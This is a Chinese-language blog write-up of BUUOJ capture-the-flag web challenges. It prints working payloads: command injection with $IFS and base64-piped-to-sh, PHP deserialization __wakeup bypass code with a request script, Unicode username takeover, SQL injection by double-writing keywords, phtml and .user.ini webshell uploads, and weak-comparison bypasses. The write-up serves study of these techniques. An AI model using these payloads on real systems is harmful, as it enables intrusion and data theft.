BUUOJ-Web题目-2

[GXYCTF2019]Ping Ping Ping

[极客大挑战 2019]Knife

[ACTF2020 新生赛]Exec

[极客大挑战 2019]PHP

[HCTF 2018]admin

[极客大挑战 2019]Http

[极客大挑战 2019]BabySQL

[极客大挑战 2019]Upload

[SUCTF 2019]CheckIn

[ACTF2020 新生赛]BackupFile

[GXYCTF2019]Ping Ping Ping

Payload

1
http://bb4aec85-2489-43de-8192-4c043b7d3eed.node3.buuoj.cn/?ip=127.0.0.1|cat$IFS$1`ls`

反引号会执行命令

还有一种Payload,如下

1
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

sh执行base64解析后的cat flag.php

[极客大挑战 2019]Knife

菜刀直接连接

image.png

[ACTF2020 新生赛]Exec

用类似上面的127.0.0.1 | cat /flag就完事了

[极客大挑战 2019]PHP

源码泄露,扫描到www.zip

下载后发现反序列化

写一个绕过wakeup即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}
}

$qq = new Name('admin',100);
print_r(serialize($qq));
?>

然后把生成的两个参数改成三个参数并输出到文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests

config_method = 'GET'

config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}

def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
print(r.text)

f = open('solver.txt','rb')
line = f.readlines()
print(line)

data = dict()
data['select'] = line[0]
print(data)
get('http://8a69052c-617c-4cd0-9b1a-95de066b7e68.node3.buuoj.cn',data)

[HCTF 2018]admin

首先我们随便注册一个用户后登录,发现了这个东西是会回显用户名的,所以猜测是一个二次注入

但是这个用户的注册要验证码,所以没办法自动化注册,还得手动搞

然后登录后,发现有POST,改密码的功能。

看看POST是怎么一回事:貌似就是直接发送一条信息过去,可能管理员会看,从而泄露Cookie

不过还是挺难下手的。。。先去搜搜wp

好,于是题解说有三种做法

我们先源码泄露一波

1
https://github.com/woadsl1234/hctf_flask/

具体来说,我计划使用的是strlower漏洞。

我们直接操作一波,注册一个名为ᴬᴰᴹᴵᴺ的用户,来一波改密码的操作,之后直接登录admin,即可。

图片.png

[极客大挑战 2019]Http

看源码找到一个文件叫Secret.php,那么我们继续操作一波

然后提示我们要从另一个网站访问过来

图片.png

那么一般就是要修正Referer,我们改一下

然后要我们修正浏览器

图片.png

直接改User-Agent就行

改完之后

图片.png

这里我们直接改X-Forwarded-For就能达成目的。

不过,有一种比较别致的姿势,是改Host来实现的,具体见我的这篇文章或是这位大佬的文章中的Host me的解法。

[极客大挑战 2019]BabySQL

标准的SQL注入题。先来一波随便注入

然后发现直接删掉了之前万能密码的OR,推测可以双写,然后就成功了

图片.png

然后跟之前走相同套路就可以了

图片.png

图片.png

图片.png

图片.png

图片.png

[极客大挑战 2019]Upload

貌似是个传图片的东西,那么我们传一波图片

然后提示

图片.png

明明什么都没加。。。不过看样子不加是不行了

上传一个phtml形式的shell,拿到flag

[SUCTF 2019]CheckIn

不会做,看看题解得知是用的.user.ini的漏洞,比较神奇。主要利用点在于两个设置的参数:auto_prepend_fileauto_append_file,分别是在文件的最前面和文件的最后面包含一个require。

所以我们传个图片马上去,再传个.user.ini上去,就可以触发shell拿到权限。

总结一下,利用条件大致是:目录下有php文件,可以上传.user.ini到这个目录下,服务器使用CGI/FastCGI模式。

我们来操作一下

image.png

访问index拿到flag。

[ACTF2020 新生赛]BackupFile

找到敏感文件index.php.bak,从而看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

注意到使用的是弱比较,所以就可以想办法绕过了。

我们操作一下

1
http://813813fb-926f-4310-a9bf-e835e5b09beb.node3.buuoj.cn/?key=123

弱比较会截断后面的字符串,化为数字


BUUOJ-Web题目-2
http://hexo.init-new-world.com/BUUOJ-Web-ti-mu-2
Author
John Doe
Posted on
September 21, 2020
Licensed under